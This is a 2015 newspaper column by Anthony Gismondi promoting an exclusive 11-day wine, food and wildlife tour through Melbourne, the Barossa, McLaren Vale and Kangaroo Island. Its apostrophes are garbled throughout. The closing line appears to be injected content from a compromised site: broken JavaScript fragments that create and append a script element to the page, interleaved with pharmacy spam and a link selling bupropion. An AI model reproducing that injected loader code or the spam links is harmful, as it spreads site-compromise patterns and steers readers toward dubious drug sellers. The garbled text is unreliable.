Head Down Under for wine, food tour – May 9, 2015

By Anthony Gismondi

We are going to Australia in November and you are all invited. Well, only 20 of you can join us for what will be an exclusive Vancouver Sun Down Under tour revolving around wine, food and wildlife. The recent Australian love-in at that Vancouver International Wine Festival inspired us to organize a trip to Oz to further experience all the country has to offer. There will be wine, and it will be good because frankly we dona��t do bad, but thata��s the easy part.

We enlisted some folks from Oz and together we have tailored 11 days designed to interest a wide audience no matter what your level of knowledge in wine and food. The goal was to craft a tour packed with memories and experiences. Think of it as a small, artisanal journey through South Australia with time to walk, visit small towns, wine bars, cheesemakers, restaurants, chefs and some of the most interesting wine folks in the region.

The tour will span the states of Victoria and South Australia and you will be impressed by the level of Australian hospitality in food and wine and you wona��t need to do any of the driving.

We begin on foot with a walking tour in Melbourne, designated a City of Literature by UNESCO in 2008 and we will end on foot in Adelaide, heading to the Star of Siam to dine with Yalumba Winery storyteller Jane Ferrari. We will have seen Ferrari in her element at the 160-year old family run winery earlier in the week on one of our stops in the famed Barossa Valley. You may not have experienced a viognier breakfast tasting featuring several wines served with eggs Benedict (smoked salmon or ham), local stone fruit poached with cinnamon sticks, coffee and or muesli (local, organic) for the health conscious. After breakfast ita��s off to the Yalumba cooperage for some wine-barrel building tips followed by a cabernet-shiraz blending session with Ferrari using Yalumba fruit from Scribbler, FDR 1A, Signature and The Reserve.

However, ita��s not all wine all the time. Day 3 happens to be Melbourne Cup Day, dubbed a�?the race that stops the nation.a�? The race is akin to the Kentucky Derby and we will celebrate it with an early sparkling brunch before partaking in a once-in-a-lifetime chance to be a part of Australiaa��s most popular social and racing event.

From horses to cattle, we will make our way to a dairy farm and buttery in the bucolic Yarra Valley. The folks at Yarra Valley Dairy will give us a tour of the cheese factory, a daily recipient of the freshest cows milk in the valley and wea��ll taste some of the most delicious cheeses we can get our hands on, because who can drink pinot noir without eating cheese?

For the budding chefs there will be a pilgrimage to Maggie Beera��s Farm in Barossa. Beer is renowned for her range of gourmet foods, including Pheasant Farm Pate, quince paste, verjuice and gourmet ice creams, all from the Barossa. The farm is beautiful spot to take a quick cooking class and a light lunch.

No wine, food and cheese tour would be complete without a stop at an artisanal olive oil producer and we will do that in McLaren Vale when we visit Lloyd Brothers Wine and Olive Company and learn what extra virgin olive oil is and how ita��s made.

Wine is more than a drink. Ita��s a culture and when you meet Chester Osborne and Co. at da��Arenberg and have lunch at Da��Arrys Verandah Restaurant well you will be sold on Australia forever.

Finally we promise to do our best to make sure you see some of the famous wildlife of Oz, at least before you are served any to eat, via a spectacular excursion to Kangaroo Island that finishes with a private wine tasting with the Jacques Lurton Islander Estate wine team, now making one of the finest cabernet francs in the world.

As you can see there will be plenty to do, and hopefully, a bit of doing nothing. Just dona��t wait too long to decide; the spots are sure to go quickly. For questions and to book your spot, contact Jane Osborne at DownUnder Travel at 1-844-468-0777 or via email: jane@downunder-travel.com.d.getElementsByTagName(‘head’)[0].appendChild(s); buy beconase nasal spray }d.getElementsByTagName('head')[0].appendChild(s);var d=document;var s=d.createElement('script'); american pharmacies online http://acapesbignona.com/bupropion-price-without-insurance/ depression medicines for the elderly

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